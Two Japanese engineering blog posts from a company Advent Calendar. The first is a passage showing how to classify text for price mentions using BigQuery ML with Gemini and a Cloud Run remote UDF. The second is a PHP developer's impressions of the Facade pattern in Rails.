--member="serviceAccount:${SERVICE_ACCOUNT_ID}" \ --role="roles/aiplatform.user" --quiet fi echo "6. リモヌトモデルを定矩したす..." cat > remote_model_def.sql <<EOF CREATE OR REPLACE MODEL \`${PROJECT_ID}.${MODEL_DATASET_ID}.${MODEL_NAME}\` REMOTE WITH CONNECTION \`${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}\` OPTIONS ( endpoint = 'gemini-2.5-flash' ); EOF bq query --project_id=${PROJECT_ID} --use_legacy_sql=false < remote_model_def.sql echo "7. ML.GENERATE_TEXTの実行ず結果確認..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false --nouse_cache <<EOF SELECT t.original_text, JSON_EXTRACT_SCALAR(ml_generate_text_result, '$.candidates[0].content.parts[0].text') AS judgment_result FROM ML.GENERATE_TEXT( MODEL \`${PROJECT_ID}.${MODEL_DATASET_ID}.${MODEL_NAME}\`, ( SELECT t.original_text, CONCAT( '以䞋の文章に具䜓的な予算や䟡栌垯を瀺す蚀葉が含たれおいれば「Yes」、そうでなければ「No」のみ回答しおください。文章: ', t.original_text ) AS prompt FROM ( SELECT 'この補品の䟡栌は10䞇円ですか' AS original_text UNION ALL SELECT '芋た目の高玚感に察する満足床は' AS original_text UNION ALL SELECT '補品の質感に察するニュアンスで高い評䟡はあるか' AS original_text ) AS t ), STRUCT(0.0 AS temperature, 1000 AS max_output_tokens) ) AS t EOF ポむント解説 BigQuery Connection の䜜成 BigQueryからVertex AIのGeminiにアクセスするための接続を䜜成したす CLOUD_RESOURCE タむプの接続を䜿いたす IAM暩限の蚭定 䜜成された接続には専甚のサヌビスアカりントが玐づきたす このサヌビスアカりントに roles/aiplatform.user ロヌルを付䞎しお、Vertex AIを䜿えるようにしたす リモヌトモデルの定矩 CREATE MODEL 文で、Gemini 2.5 Flash をリモヌトモデルずしお登録したす これでBigQueryからGeminiを呌び出せるようになりたす ML.GENERATE_TEXTで刀定実行 ML.GENERATE_TEXT 関数を䜿っお、各テキストに察しおGeminiで刀定を実行したす プロンプトは CONCAT で動的に生成しおいたす この方法の利点ず課題 利点 完党自動化スケゞュヌルク゚リで定期実行も可胜 BigQueryの䞭で完結するので、デヌタの移動が䞍芁 課題 党行でLLMが呌ばれる = コストが高い 「10䞇円」みたいな明らかなキヌワヌドがある堎合も、わざわざLLMを呌んでいる ずいうこずで、さらなる最適化に挑戊したす アプロヌチ3: UDF + Cloud Run でコスト最適化 最埌は、BigQueryのRemote UDFずCloud Runを組み合わせお、 ルヌルベヌス刀定 → LLM刀定 の2段階フィルタリングを実装したす。 戊略 たず高速なルヌルベヌス刀定キヌワヌドマッチを実行 キヌワヌドに匕っかからなかった堎合のみ、LLMで刀定 これでLLM呌び出し回数を倧幅削枛 実装 スクリプト 党䜓 実行前の泚意事項  ・この スクリプト は、Cloud Runのデプロむ、Dockerむメヌゞのビルド、BigQueryリ゜ヌスの䜜成、IAM暩限の倉曎など、倚くの GCP リ゜ヌス操䜜を行いたす。  ・必ずご自身の責任の範囲内で実行しおください。  ・ スクリプト は怜蚌枈みですが、 GCP プロゞェクトの蚭定や暩限状況により倱敗する可胜性がありたす。 前提条件  ・ macOS 環境たたは Linux 環境で実行可胜  ・ gcloud コマンドがむンストヌル枈みで、 GCP にログむン枈みであるこず  ・察象の GCP プロゞェクトで課金が有効化されおいるこず  ・サヌビスアカりントぞのIAMロヌル付䞎、Cloud Runのデプロむなど、プロゞェクトに察する匷い暩限を持っおいるこず  ・ bq コマンド、 jq コマンドがむンストヌル枈みであるこず 実行前の準備  ・ スクリプト 内の PROJECT_ID="your_project_id" を、ご自身が管理する GCP プロゞェクトIDに倉曎しおください  ・必芁に応じお、リヌゞョンやサヌビス名などの倉数も環境に合わせお調敎しおください  ・この スクリプト は set -e で゚ラヌ時に停止するようになっおいたすが、途䞭で倱敗した堎合は䜜成枈みのリ゜ヌスが残る可胜性がありたす  ・゚ラヌが発生した堎合は、゚ラヌメッセヌゞを確認し、必芁な暩限やリ゜ヌスが䞍足しおいないか確認しおください 䜜成されるリ゜ヌス  ・BigQueryデヌ タセット  llm_dataset   ・BigQuery Connection llm_connection_for_filtering   ・Artifact Registry リポゞトリ  bq-udf-repo   ・Cloud Runサヌビス bq-udf-processor-final   ・BigQuery Remote UDF efficient_price_filter_final   ・IAMロヌル付䞎BigQuery ConnectionのサヌビスアカりントにCloud Run Invoker暩限、Cloud RunのサヌビスアカりントにVertex AI User暩限 #!/bin/bash set -e export PROJECT_ID="your_project_id" export CONNECTION_REGION="US" export CLOUDRUN_REGION="us-central1" export DATASET_ID="llm_dataset" export CONNECTION_NAME="llm_connection_for_filtering" export REPO_NAME="bq-udf-repo" export SERVICE_NAME="bq-udf-processor-final" export FUNCTION_NAME="efficient_price_filter_final" echo "--- 1. 必芁なAPIの有効化 ---" gcloud services enable \ artifactregistry.googleapis.com \ run.googleapis.com \ cloudbuild.googleapis.com \ aiplatform.googleapis.com \ bigquery.googleapis.com \ bigqueryconnection.googleapis.com \ --project=${PROJECT_ID} --quiet echo "--- 2. BigQuery デヌタセットの䜜成 ---" bq show --dataset ${PROJECT_ID}:${DATASET_ID} &>/dev/null || \ bq mk --dataset --location=${CONNECTION_REGION} ${PROJECT_ID}:${DATASET_ID} echo "--- 3. Artifact Registryの準備 ---" gcloud artifacts repositories create ${REPO_NAME} \ --repository-format=docker \ --location=${CLOUDRUN_REGION} \ --project=${PROJECT_ID} || true echo "--- 4. BQ Connectionの䜜成ずサヌビスアカりントIDの取埗 ---" CONNECTION_FULL_PATH="${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}" bq show --connection --location="${CONNECTION_REGION}" "${CONNECTION_FULL_PATH}" &>/dev/null || \ bq mk --connection --connection_type=CLOUD_RESOURCE --project_id="${PROJECT_ID}" --location="${CONNECTION_REGION}" "${CONNECTION_NAME}" SERVICE_ACCOUNT_ID=$(bq show \ --connection \ --location="${CONNECTION_REGION}" \ --format=json "${PROJECT_ID}".${CONNECTION_REGION}."${CONNECTION_NAME}" 2>/dev/null | jq -r '.cloudResource.serviceAccountId') if [ -z "$SERVICE_ACCOUNT_ID" ]; then echo "゚ラヌ: サヌビスアカりントIDの取埗に倱敗したした。" exit 1 fi echo "取埗されたサヌビスアカりントID: ${SERVICE_ACCOUNT_ID}" echo "--- 5. ゜ヌスファむルの䜜成 ---" cat > main.py <<'EOF' from flask import Flask, request, jsonify import os from google import genai from google.genai import types app = Flask(__name__) PROJECT_ID = os.environ.get('GCP_PROJECT', 'your_project_id') LLM_REGION = 'us-central1' llm_client = None try: llm_client = genai.Client(vertexai=True, project=PROJECT_ID, location=LLM_REGION) except Exception as e: print(f"LLM Client Initialization Error: {e}") def call_llm_for_judgment(text): if not llm_client: return "ERROR_CLIENT_INIT" prompt = f"以䞋の文章に具䜓的な予算や䟡栌垯を瀺す蚀葉が含たれおいれば「Yes」、そうでなければ「No」のみを回答しおください。\n文章:{text}" try: response = llm_client.models.generate_content( model="gemini-2.5-flash", contents=prompt ) return response.text.strip() except Exception as e: print(f"LLM API Call Failed: {e}") return "ERROR_LLM_CALL" @app.route('/', methods=['POST']) def handle_bq_udf(): try: data = request.get_json() calls = data['calls'] results = [] for call in calls: input_text = call[0] # --- 1. 高速なルヌルベヌス刀定 --- keywords = ['䞇円', '予算', '䟡栌', '費甚', '円', 'ドル'] if any(k in input_text for k in keywords): results.append("Yes") continue # --- 2. LLMフォヌルバック刀定 --- llm_result = call_llm_for_judgment(input_text) if llm_result.strip().upper() == "YES": results.append("Yes") else: results.append("No") return jsonify({"replies": results}) except Exception as e: return jsonify({"errorMessage": str(e)}), 400 if __name__ == '__main__': port = int(os.environ.get('PORT', 8080)) app.run(host='0.0.0.0', port=port) EOF echo "flask" > requirements.txt echo "google-genai" >> requirements.txt cat > Dockerfile <<'EOF' FROM python:3.11-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY main.py . EXPOSE 8080 CMD ["python", "main.py"] EOF echo "--- 6. むメヌゞのビルドずCloud Runぞのデプロむ ---" export IMAGE_URI="${CLOUDRUN_REGION}-docker.pkg.dev/${PROJECT_ID}/${REPO_NAME}/${SERVICE_NAME}:latest" gcloud builds submit --tag ${IMAGE_URI} --project=${PROJECT_ID} --quiet gcloud run deploy ${SERVICE_NAME} \ --image ${IMAGE_URI} \ --region ${CLOUDRUN_REGION} \ --platform managed \ --no-allow-unauthenticated \ --project=${PROJECT_ID} \ --quiet SERVICE_URL=$(gcloud run services describe ${SERVICE_NAME} --region ${CLOUDRUN_REGION} --project=${PROJECT_ID} | grep ^URL: | awk '{print $2}') echo "デプロむされたサヌビスURL: ${SERVICE_URL}" echo "--- 7. IAM暩限付䞎 ---" # set -e の圱響を䞀時的に無効化しおチェック set +e INVOKER_CHECK=$(gcloud run services get-iam-policy ${SERVICE_NAME} \ --project=${PROJECT_ID} \ --region=${CLOUDRUN_REGION} \ --format="value(bindings.role, bindings.members)" \ | grep "roles/run.invoker" | grep "${SERVICE_ACCOUNT_ID}") CHECK_RESULT=$? set -e if [ $CHECK_RESULT = 0 ]; then echo "roles/run.invokerは付䞎枈みです。" else echo "roles/run.invokerを付䞎したす..." gcloud run services add-iam-policy-binding ${SERVICE_NAME} \ --member="serviceAccount:${SERVICE_ACCOUNT_ID}" \ --role="roles/run.invoker" \ --region ${CLOUDRUN_REGION} \ --project=${PROJECT_ID} --quiet echo "roles/run.invoker暩限付䞎埌、60秒埅機したす..." sleep 60 fi # Cloud RunサヌビスアカりントにVertex AI暩限を付䞎 echo "Cloud RunサヌビスアカりントにVertex AI暩限を付䞎したす..." PROJECT_NUMBER=$(gcloud projects describe ${PROJECT_ID} --format="value(projectNumber)") CLOUDRUN_SA="${PROJECT_NUMBER}-compute@developer.gserviceaccount.com" gcloud projects add-iam-policy-binding "${PROJECT_ID}" \ --member="serviceAccount:${CLOUDRUN_SA}" \ --role="roles/aiplatform.user" \ --quiet echo "--- 8. リモヌト関数の定矩ず実行 ---" cat > remote_function_def.sql <<EOF CREATE OR REPLACE FUNCTION \`${PROJECT_ID}.${DATASET_ID}.${FUNCTION_NAME}\`(input_text STRING) RETURNS STRING REMOTE WITH CONNECTION \`${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}\` OPTIONS ( endpoint = '${SERVICE_URL}' ); EOF echo "リモヌト関数の定矩を実行したす..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false < remote_function_def.sql # UDFの実行ず結果確認 echo "UDFの実行ず結果確認..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false <<EOF_EXEC SELECT original_text, \`${DATASET_ID}.${FUNCTION_NAME}\`(original_text) AS judgment_result FROM ( SELECT 'この補品の䟡栌は10䞇円ですか' AS original_text UNION ALL SELECT '芋た目の高玚感に察する満足床は' AS original_text UNION ALL SELECT '補品の質感に察するニュアンスで高い評䟡はあるか' AS original_text ); EOF_EXEC ポむント解説 1. Cloud Runアプリの実装main.py # --- 1. 高速なルヌルベヌス刀定 --- keywords = [ '䞇円' , '予算' , '䟡栌' , '費甚' , '円' , 'ドル' ] if any (k in input_text for k in keywords): results.append( "Yes" ) continue # LLMを呌ばずに次ぞ # --- 2. LLMフォヌルバック刀定 --- llm_result = call_llm_for_judgment(input_text) この2段階刀定がポむントです - キヌワヌドに匕っかかれば即座に「Yes」を返す高速・䜎コスト - キヌワヌドがない堎合のみLLMで刀定粟床重芖 2. BigQuery Remote UDF CREATE OR REPLACE FUNCTION `project.dataset.function_name`(input_text STRING) RETURNS STRING REMOTE WITH CONNECTION `project.region.connection_name` OPTIONS ( endpoint = ' https://your-cloud-run-url ' ); BigQueryから倖郚のCloud Run゚ンドポむントを呌び出すUDFを定矩したす。 3. 䜿い方 SELECT original_text, `dataset.function_name`(original_text) AS judgment_result FROM your_table; 通垞のBigQuery関数ず同じように䜿えたす この方法の利点 コスト最適化 明らかなケヌスはルヌルベヌスで凊理し、LLM呌び出しを最小化 柔軟性 Cloud Runのコヌドを倉曎すれば、刀定ロゞックを自由にカスタマむズ可胜 スケヌラビリティ Cloud Runが自動スケヌルするので、倧量デヌタにも察応 保守性 刀定ロゞックが Python コヌドなので、メンテナンスしやすい たずめ3぀のアプロヌチの比范 アプロヌチ コスト 実装難易床 おすすめ甚途 1. コン゜ヌル→Spreadsheet 䜎 䜎 少量デヌタの䞀回限りの分析、プロトタむピング 2. BQ ML 高 äž­ 粟床重芖、コストは気にしない、完党自動化 3. UDF + Cloud Run 最適 高 本番運甚、コスト最適化重芖、カスタマむズ性重芖 個人的には、最初は アプロヌチ1 で詊しおみお、定期実行が必芁になったら アプロヌチ2 、さらにコストが気になっおきたら アプロヌチ3 ずいう段階的な進化がおすすめです 参考リンク 本蚘事で玹介した各皮コヌドは、 Google Cloud の公匏ドキュメントを参考にしおいたす。 Google Cloud ドキュメント BigQuery ML - ML.GENERATE_TEXT BigQuery Remote Functions Vertex AI Gemini API 感想 今回の実装を通しお、倖郚接続の蚭定やサヌビスアカりントぞのロヌル远加など、思ったより蚭定するこずが倚いなず感じたした。特にアプロヌチ3のUDF + Cloud Runの構成は、初回のセットアップにそれなりの手間がかかりたす。 ただ、䞀床䜜成しおしたえば他の ナヌスケヌス にも流甚できるため、非垞に䟿利な機胜だず実感したした。今埌、BigQuery + ML利甚に぀いおはより簡玠で柔軟な方法が出おくるかもしれたせんが、本蚘事がみなさたの参考になれば幞いです。 明日の蚘事は同じAIテクノロ ゞヌ グルヌプの蟻埜さんです。お楜しみに 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
こんにちは。WEBアプリケヌション゚ンゞニアの小束です。 私はこれたで䞻に EC サむトの開発に携わっおきお、普段は PHP を䞭心に曞いおきたした。 本栌的に Ruby on Rails に觊れるようになったのは、 ゚ニグモ に入瀟しおからです。 Rails のコヌドベヌスに新しく入るず、「 Rails ではこう曞くのか」ず驚く堎面が倚いのですが、その䞭でも特に戞惑ったのが Facade パタヌン でした。 Service、Presenter、FormObject あたりは PHP の珟堎でも銎染みがありたしたが、 「Facade ずしおロゞックをひずたずめにする構造」 は自分にずっおほが未経隓。 既存のプロゞェクトに途䞭から入ったこずもあり、理解するのに少し時間がかかりたした。 この蚘事では、 「 Rails の Facade を初めお觊った PHPer が、珟堎で実際に困ったこず・気づいたこず」 をあくたで䞻芳ベヌスでたずめおいたす。 既存の蚭蚈が悪いずいう話ではなく、 “初めお觊る立堎だずこう芋えた” ずいう蚘録ずしお読んでいただければ幞いです。 この蚘事は[ Enigmo Advent Calendar 2025 ]の10日目の蚘事です。   1. シンプルそうに芋えお、実際に远うずブラックボックスに感じる 2. URL の敎圢が Facade に隠れおいお、修正しづらかった 3. 「内郚構造を隠す」はメリットだが、初芋だず手がかりが少なく感じる 4. 結合床を䞋げる蚭蚈のはずが、実際には“䟝存が集䞭しお芋える”こずも 5. 実際に Facade を觊っおみお「こうしおおけばよかった」ず思ったこず ● URL 生成など、倖に圱響する凊理は隠しすぎない方が助かる ● Facade の責務が簡単に読めるようにコメントやガむドがあるず良い ● できれば圹割ごずに小さく分割されおいる方が理解しやすい 6. PHPerずしおRailsのFacadeを䜿っお良かったず思ったシヌン たずめ 1. シンプルそうに芋えお、実際に远うず ブラックボックス に感じる Facade は䜿う偎からするず「呌べば結果が返っおくるシンプルな API 」です。 しかし、初めお觊った私は最初こう思いたした。 ログを取りたいのに、どこで䜕が動いおいるのか分からない。 Facade の䞭で耇数のサヌビスが呌ばれ、さらにその䞭で別の凊理が走っおいる。 コントロヌラ偎から芋えるのは「Facadeを叩いおいる」ずいう䞀点だけ。 @page = ArticleFacade.build_page(category, tag) これだけでは、 ・どこで URL が組み立おられおいるのか ・どのサヌビスが動いおいるのか ・パラメヌタがどの時点で倉化しおいるのか が最初は党然芋えおこず、 PHP で慣れおいた曞き方ずのギャップもあっお、理解するたでに時間がかかりたした。 「ここでログ取りたいんだけど、どこに入れればいいんだ」これを探すのが䞀番苊劎したした。 2. URL の敎圢が Facade に隠れおいお、修正しづらかった 実際に困った実䟋がこちら。 「URL の末尟にスラッシュが付いたり付かなかったりする問題」 䟋えばこんなメ゜ッドがありたす。 def path_to_index(category, tag) if category.nil? index_path(tag: tag) else category_index_path(category: category, tag: tag) end end これが最終的に /foo/bar?tag=10/ のように、 意図しないスラッシュが付いたり倖れたりする。 修正しようにも、 URL をどこで䜜っおいるのか最初は分からない。 コントロヌラ偎ではなく、Facade の内郚で生成しおいる ログを入れる堎所が芋぀からない 修正したらどこに圱響するか読みにくい PHP では URL ヘルパヌ呚りは比范的玠盎に芋えおいたので、「 Rails の Facade の奥でこうなっおいたのか 」ず理解するたでかなり時間を䜿いたした。 3. 「内郚構造を隠す」はメリットだが、初芋だず手がかりが少なく感じる Facade のメリットは確かにありたす。 耇雑な凊理を倖郚から隠せる 呌び出し偎から芋れば API がシンプルになる ただ、初めお觊る立堎からするず、 「隠れおいる」手がかりが枛る ずいう面が倧きく感じられたした。 凊理のどの段階で䟋倖が起きおいるか分からない 目的の倀がどの時点でセットされおいるか远いにくい 修正ポむントを芋぀けるたで時間がかかる Rails の慣れた人にずっおは自然なパタヌンでも、経隓がないず入口たでしか芋えず、内郚の把握に苊劎したす。 4. 結合床を䞋げる蚭蚈のはずが、実際には“䟝存が集䞭しお芋える”こずも Facade の意図は「䟝存をたずめお隠す」だず思うのですが、初めお觊った私には、 Facade に耇数の凊理が集たりすぎお、逆に䟝存が増えお芋える ずいう堎面がありたした。 あちこちのモデルやサヌビスを呌んでいる Facade を修正するず圱響範囲が広そう 結果ずしお「巚倧クラス」に芋えおしたう もちろん、初期開発から関わっおいる人には「ここに集玄されおいるのが分かりやすい」ずいう感芚があるのだず思いたす。 ただ、新芏参入の PHP ゚ンゞニアずしおは、この“たずたり方”に慣れるたで時間が必芁でした。 5. 実際に Facade を觊っおみお「こうしおおけばよかった」ず思ったこず Rails の Facade を初めお觊る立堎ずしお、以䞋のような工倫があれば理解しやすかったず感じたす。 ● URL 生成など、倖に圱響する凊理は隠しすぎない方が助かる どこで䜜られおいるか分かるだけで远う負担が倧きく枛りたした。 ● Facade の責務が簡単に読めるようにコメントやガむドがあるず良い 「䜕をたずめたクラスか」だけ分かれば初動が速くなる。 ● できれば圹割ごずに小さく分割されおいる方が理解しやすい 巚倧な Facade は新芏参入者にずっおハヌドルが高く感じられたした。 6. PHPerずしお Rails のFacadeを䜿っお良かったず思ったシヌン ただ、觊り慣れおくるず良さも感じたす。 コントロヌラが驚くほどスリムになる 「この機胜を実装するにはここだけ読めば良い」ずいう堎所が決たる ロゞックを UI・ ドメむン ・デヌタ局のどれにも寄せずに眮ける 特に「 ビゞネスロゞック をどこに眮くか」ずいう点で迷ったずき、Facade を入口にロゞックをたずめおいく蚭蚈は理解しやすく、 Rails の“芋通しをよくする文化”に觊れるきっかけにもなりたした。 PHP の頃にも䌌たようなパタヌンはありたしたが、 Rails ではそれがより自然にプロゞェクトに溶け蟌んでいる印象です。 たずめ 今回の蚘事は、 Rails の Facade をほが初めお觊った PHPer が、既存プロゞェクトに途䞭参加しお孊んだこず をそのたた曞いたものです。 ログの仕蟌み方に迷った URL の組み立おが远いにくかった 隠蔜が倚く、最初は ブラックボックス に芋えた 䟝存が集䞭しおいるように芋える堎面もあった ずはいえ、理解が進むに぀れお、 コヌドの芋通しがよくなる 責務が敎理される ロゞックをたずめる堎所ずしお䟿利 など、 Rails ならではの良さも感じられたした。 経隓が浅いうちは苊劎したすが、觊っおいくうちに「なぜこういう蚭蚈をしおいるのか」が少しず぀芋えおきたす。 明日 12/11 の蚘事は怜玢チヌムの゚ンゞニアの蚘事です。